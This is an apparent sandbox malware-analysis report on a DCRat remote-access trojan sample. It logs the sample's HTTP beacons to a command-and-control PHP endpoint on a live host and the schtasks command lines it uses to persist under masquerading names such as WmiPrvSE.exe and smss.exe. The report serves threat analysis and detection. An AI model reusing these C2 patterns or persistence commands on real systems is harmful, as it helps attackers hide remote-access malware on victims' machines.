Oct 26, 2024 05:37:56.409859896 CEST	546	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 26 Oct 2024 03:37:56 GMT Content-Type: text/html Content-Length: 274 Last-Modified: Mon, 22 Jul 2024 13:31:07 GMT Connection: keep-alive Keep-Alive: timeout=30 ETag: "669e5f1b-112" Accept-Ranges: bytes Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 73 65 74 5f 63 6f 6f 6b 69 65 28 29 7b 76 61 72 20 6e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 76 61 72 20 74 69 6d 65 20 3d 20 6e 6f 77 2e 67 65 74 54 69 6d 65 28 29 3b 74 69 6d 65 20 2b 3d 20 31 39 33 36 30 30 30 30 20 2a 20 31 30 30 30 3b 6e 6f 77 2e 73 65 74 54 69 6d 65 28 74 69 6d 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 27 62 65 67 65 74 3d 62 65 67 65 74 6f 6b 27 2b 27 3b 20 65 78 70 69 72 65 73 3d 27 2b 6e 6f 77 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 2b 27 3b 20 70 61 74 68 3d 2f 27 3b 7d 73 65 74 5f 63 6f 6f 6b 69 65 28 29 3b 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><script>function set_cookie(){var now = new Date();var time = now.getTime();time += 19360000 * 1000;now.setTime(time);document.cookie='beget=begetok'+'; expires='+now.toGMTString()+'; path=/';}set_cookie();location.reload();;</script></head><body></body></html>
Oct 26, 2024 05:37:56.413274050 CEST	620	OUT	GET /L1nc0In.php?06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0 HTTP/1.1 Accept: / Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 OPR/81.0.4196.60 Host: rustpidc.beget.tech
Oct 26, 2024 05:37:56.707762957 CEST	546	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 26 Oct 2024 03:37:56 GMT Content-Type: text/html Content-Length: 274 Last-Modified: Mon, 22 Jul 2024 13:31:07 GMT Connection: keep-alive Keep-Alive: timeout=30 ETag: "669e5f1b-112" Accept-Ranges: bytes Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 73 65 74 5f 63 6f 6f 6b 69 65 28 29 7b 76 61 72 20 6e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 76 61 72 20 74 69 6d 65 20 3d 20 6e 6f 77 2e 67 65 74 54 69 6d 65 28 29 3b 74 69 6d 65 20 2b 3d 20 31 39 33 36 30 30 30 30 20 2a 20 31 30 30 30 3b 6e 6f 77 2e 73 65 74 54 69 6d 65 28 74 69 6d 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 27 62 65 67 65 74 3d 62 65 67 65 74 6f 6b 27 2b 27 3b 20 65 78 70 69 72 65 73 3d 27 2b 6e 6f 77 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 2b 27 3b 20 70 61 74 68 3d 2f 27 3b 7d 73 65 74 5f 63 6f 6f 6b 69 65 28 29 3b 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><script>function set_cookie(){var now = new Date();var time = now.getTime();time += 19360000 * 1000;now.setTime(time);document.cookie='beget=begetok'+'; expires='+now.toGMTString()+'; path=/';}set_cookie();location.reload();;</script></head><body></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.5	49985	5.101.153.173	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:38:22.213469028 CEST	585	OUT	GET /L1nc0In.php?hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF HTTP/1.1 Accept: / Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: rustpidc.beget.tech Connection: Keep-Alive
Oct 26, 2024 05:38:23.159758091 CEST	546	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 26 Oct 2024 03:38:22 GMT Content-Type: text/html Content-Length: 274 Last-Modified: Mon, 22 Jul 2024 13:31:07 GMT Connection: keep-alive Keep-Alive: timeout=30 ETag: "669e5f1b-112" Accept-Ranges: bytes Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 73 65 74 5f 63 6f 6f 6b 69 65 28 29 7b 76 61 72 20 6e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 76 61 72 20 74 69 6d 65 20 3d 20 6e 6f 77 2e 67 65 74 54 69 6d 65 28 29 3b 74 69 6d 65 20 2b 3d 20 31 39 33 36 30 30 30 30 20 2a 20 31 30 30 30 3b 6e 6f 77 2e 73 65 74 54 69 6d 65 28 74 69 6d 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 27 62 65 67 65 74 3d 62 65 67 65 74 6f 6b 27 2b 27 3b 20 65 78 70 69 72 65 73 3d 27 2b 6e 6f 77 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 2b 27 3b 20 70 61 74 68 3d 2f 27 3b 7d 73 65 74 5f 63 6f 6f 6b 69 65 28 29 3b 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><script>function set_cookie(){var now = new Date();var time = now.getTime();time += 19360000 * 1000;now.setTime(time);document.cookie='beget=begetok'+'; expires='+now.toGMTString()+'; path=/';}set_cookie();location.reload();;</script></head><body></body></html>
Oct 26, 2024 05:38:23.161307096 CEST	561	OUT	GET /L1nc0In.php?hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF HTTP/1.1 Accept: / Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: rustpidc.beget.tech
Oct 26, 2024 05:38:23.456799984 CEST	546	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 26 Oct 2024 03:38:23 GMT Content-Type: text/html Content-Length: 274 Last-Modified: Mon, 22 Jul 2024 13:31:07 GMT Connection: keep-alive Keep-Alive: timeout=30 ETag: "669e5f1b-112" Accept-Ranges: bytes Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 73 65 74 5f 63 6f 6f 6b 69 65 28 29 7b 76 61 72 20 6e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 76 61 72 20 74 69 6d 65 20 3d 20 6e 6f 77 2e 67 65 74 54 69 6d 65 28 29 3b 74 69 6d 65 20 2b 3d 20 31 39 33 36 30 30 30 30 20 2a 20 31 30 30 30 3b 6e 6f 77 2e 73 65 74 54 69 6d 65 28 74 69 6d 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 27 62 65 67 65 74 3d 62 65 67 65 74 6f 6b 27 2b 27 3b 20 65 78 70 69 72 65 73 3d 27 2b 6e 6f 77 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 2b 27 3b 20 70 61 74 68 3d 2f 27 3b 7d 73 65 74 5f 63 6f 6f 6b 69 65 28 29 3b 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><script>function set_cookie(){var now = new Date();var time = now.getTime();time += 19360000 * 1000;now.setTime(time);document.cookie='beget=begetok'+'; expires='+now.toGMTString()+'; path=/';}set_cookie();location.reload();;</script></head><body></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49986	5.101.153.173	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:38:47.359663010 CEST	654	OUT	GET /L1nc0In.php?BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ HTTP/1.1 Accept: / Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: rustpidc.beget.tech Connection: Keep-Alive
Oct 26, 2024 05:38:48.296052933 CEST	546	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 26 Oct 2024 03:38:48 GMT Content-Type: text/html Content-Length: 274 Last-Modified: Mon, 22 Jul 2024 13:31:07 GMT Connection: keep-alive Keep-Alive: timeout=30 ETag: "669e5f1b-112" Accept-Ranges: bytes Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 73 65 74 5f 63 6f 6f 6b 69 65 28 29 7b 76 61 72 20 6e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 76 61 72 20 74 69 6d 65 20 3d 20 6e 6f 77 2e 67 65 74 54 69 6d 65 28 29 3b 74 69 6d 65 20 2b 3d 20 31 39 33 36 30 30 30 30 20 2a 20 31 30 30 30 3b 6e 6f 77 2e 73 65 74 54 69 6d 65 28 74 69 6d 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 27 62 65 67 65 74 3d 62 65 67 65 74 6f 6b 27 2b 27 3b 20 65 78 70 69 72 65 73 3d 27 2b 6e 6f 77 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 2b 27 3b 20 70 61 74 68 3d 2f 27 3b 7d 73 65 74 5f 63 6f 6f 6b 69 65 28 29 3b 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><script>function set_cookie(){var now = new Date();var time = now.getTime();time += 19360000 * 1000;now.setTime(time);document.cookie='beget=begetok'+'; expires='+now.toGMTString()+'; path=/';}set_cookie();location.reload();;</script></head><body></body></html>
Oct 26, 2024 05:38:48.297766924 CEST	630	OUT	GET /L1nc0In.php?BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ HTTP/1.1 Accept: / Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: rustpidc.beget.tech
Oct 26, 2024 05:38:48.589982986 CEST	546	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 26 Oct 2024 03:38:48 GMT Content-Type: text/html Content-Length: 274 Last-Modified: Mon, 22 Jul 2024 13:31:07 GMT Connection: keep-alive Keep-Alive: timeout=30 ETag: "669e5f1b-112" Accept-Ranges: bytes Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 73 65 74 5f 63 6f 6f 6b 69 65 28 29 7b 76 61 72 20 6e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 76 61 72 20 74 69 6d 65 20 3d 20 6e 6f 77 2e 67 65 74 54 69 6d 65 28 29 3b 74 69 6d 65 20 2b 3d 20 31 39 33 36 30 30 30 30 20 2a 20 31 30 30 30 3b 6e 6f 77 2e 73 65 74 54 69 6d 65 28 74 69 6d 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 27 62 65 67 65 74 3d 62 65 67 65 74 6f 6b 27 2b 27 3b 20 65 78 70 69 72 65 73 3d 27 2b 6e 6f 77 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 2b 27 3b 20 70 61 74 68 3d 2f 27 3b 7d 73 65 74 5f 63 6f 6f 6b 69 65 28 29 3b 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><script>function set_cookie(){var now = new Date();var time = now.getTime();time += 19360000 * 1000;now.setTime(time);document.cookie='beget=begetok'+'; expires='+now.toGMTString()+'; path=/';}set_cookie();location.reload();;</script></head><body></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49987	5.101.153.173	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:39:02.300323963 CEST	594	OUT	GET /L1nc0In.php?BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM HTTP/1.1 Accept: / Content-Type: text/csv User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: rustpidc.beget.tech Connection: Keep-Alive
Oct 26, 2024 05:39:03.233011007 CEST	546	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 26 Oct 2024 03:39:02 GMT Content-Type: text/html Content-Length: 274 Last-Modified: Mon, 22 Jul 2024 13:31:07 GMT Connection: keep-alive Keep-Alive: timeout=30 ETag: "669e5f1b-112" Accept-Ranges: bytes Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 73 65 74 5f 63 6f 6f 6b 69 65 28 29 7b 76 61 72 20 6e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 76 61 72 20 74 69 6d 65 20 3d 20 6e 6f 77 2e 67 65 74 54 69 6d 65 28 29 3b 74 69 6d 65 20 2b 3d 20 31 39 33 36 30 30 30 30 20 2a 20 31 30 30 30 3b 6e 6f 77 2e 73 65 74 54 69 6d 65 28 74 69 6d 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 27 62 65 67 65 74 3d 62 65 67 65 74 6f 6b 27 2b 27 3b 20 65 78 70 69 72 65 73 3d 27 2b 6e 6f 77 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 2b 27 3b 20 70 61 74 68 3d 2f 27 3b 7d 73 65 74 5f 63 6f 6f 6b 69 65 28 29 3b 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><script>function set_cookie(){var now = new Date();var time = now.getTime();time += 19360000 * 1000;now.setTime(time);document.cookie='beget=begetok'+'; expires='+now.toGMTString()+'; path=/';}set_cookie();location.reload();;</script></head><body></body></html>
Oct 26, 2024 05:39:03.234644890 CEST	570	OUT	GET /L1nc0In.php?BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM HTTP/1.1 Accept: / Content-Type: text/csv User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: rustpidc.beget.tech
Oct 26, 2024 05:39:03.525713921 CEST	546	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 26 Oct 2024 03:39:03 GMT Content-Type: text/html Content-Length: 274 Last-Modified: Mon, 22 Jul 2024 13:31:07 GMT Connection: keep-alive Keep-Alive: timeout=30 ETag: "669e5f1b-112" Accept-Ranges: bytes Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 73 65 74 5f 63 6f 6f 6b 69 65 28 29 7b 76 61 72 20 6e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 76 61 72 20 74 69 6d 65 20 3d 20 6e 6f 77 2e 67 65 74 54 69 6d 65 28 29 3b 74 69 6d 65 20 2b 3d 20 31 39 33 36 30 30 30 30 20 2a 20 31 30 30 30 3b 6e 6f 77 2e 73 65 74 54 69 6d 65 28 74 69 6d 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 27 62 65 67 65 74 3d 62 65 67 65 74 6f 6b 27 2b 27 3b 20 65 78 70 69 72 65 73 3d 27 2b 6e 6f 77 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 2b 27 3b 20 70 61 74 68 3d 2f 27 3b 7d 73 65 74 5f 63 6f 6f 6b 69 65 28 29 3b 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><script>function set_cookie(){var now = new Date();var time = now.getTime();time += 19360000 * 1000;now.setTime(time);document.cookie='beget=begetok'+'; expires='+now.toGMTString()+'; path=/';}set_cookie();location.reload();;</script></head><body></body></html>

Target ID:	0
Start time:	23:37:00
Start date:	25/10/2024
Path:	C:\Users\user\Desktop\2RM12KtuNp.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\2RM12KtuNp.exe"
Imagebase:	0x10000
File size:	1'455'616 bytes
MD5 hash:	77FFFEE187FABB45FFC7219D421EA83F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.2107606474.0000000002491000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.2107606474.0000000002952000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.2112936217.000000001249D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:37:01
Start date:	25/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe'" /f
Imagebase:	0x7ff63caf0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:37:02
Start date:	25/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff63caf0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:37:02
Start date:	25/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 10 /tr "'C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff63caf0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:37:02
Start date:	25/10/2024
Path:	C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe"
Imagebase:	0x4a0000
File size:	1'455'616 bytes
MD5 hash:	77FFFEE187FABB45FFC7219D421EA83F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000006.00000002.2172595624.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 76%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:37:02
Start date:	25/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "smsss" /sc MINUTE /mo 12 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\smss.exe'" /f
Imagebase:	0x7ff63caf0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:37:02
Start date:	25/10/2024
Path:	C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe"
Imagebase:	0xbf0000
File size:	1'455'616 bytes
MD5 hash:	77FFFEE187FABB45FFC7219D421EA83F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000008.00000002.2172462532.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000008.00000002.2172462532.0000000002FAD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	23:37:03
Start date:	25/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office 15\ClientX64\smss.exe'" /rl HIGHEST /f
Imagebase:	0x7ff63caf0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	23:37:03
Start date:	25/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "smsss" /sc MINUTE /mo 8 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\smss.exe'" /rl HIGHEST /f
Imagebase:	0x7ff63caf0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	23:37:03
Start date:	25/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "fuBYljHeUjtkgvlnNf" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe'" /f
Imagebase:	0x7ff63caf0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	23:37:03
Start date:	25/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "fuBYljHeUjtkgvlnN" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe'" /rl HIGHEST /f
Imagebase:	0x7ff63caf0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	23:37:03
Start date:	25/10/2024
Path:	C:\Windows\System32\schtasks.exe
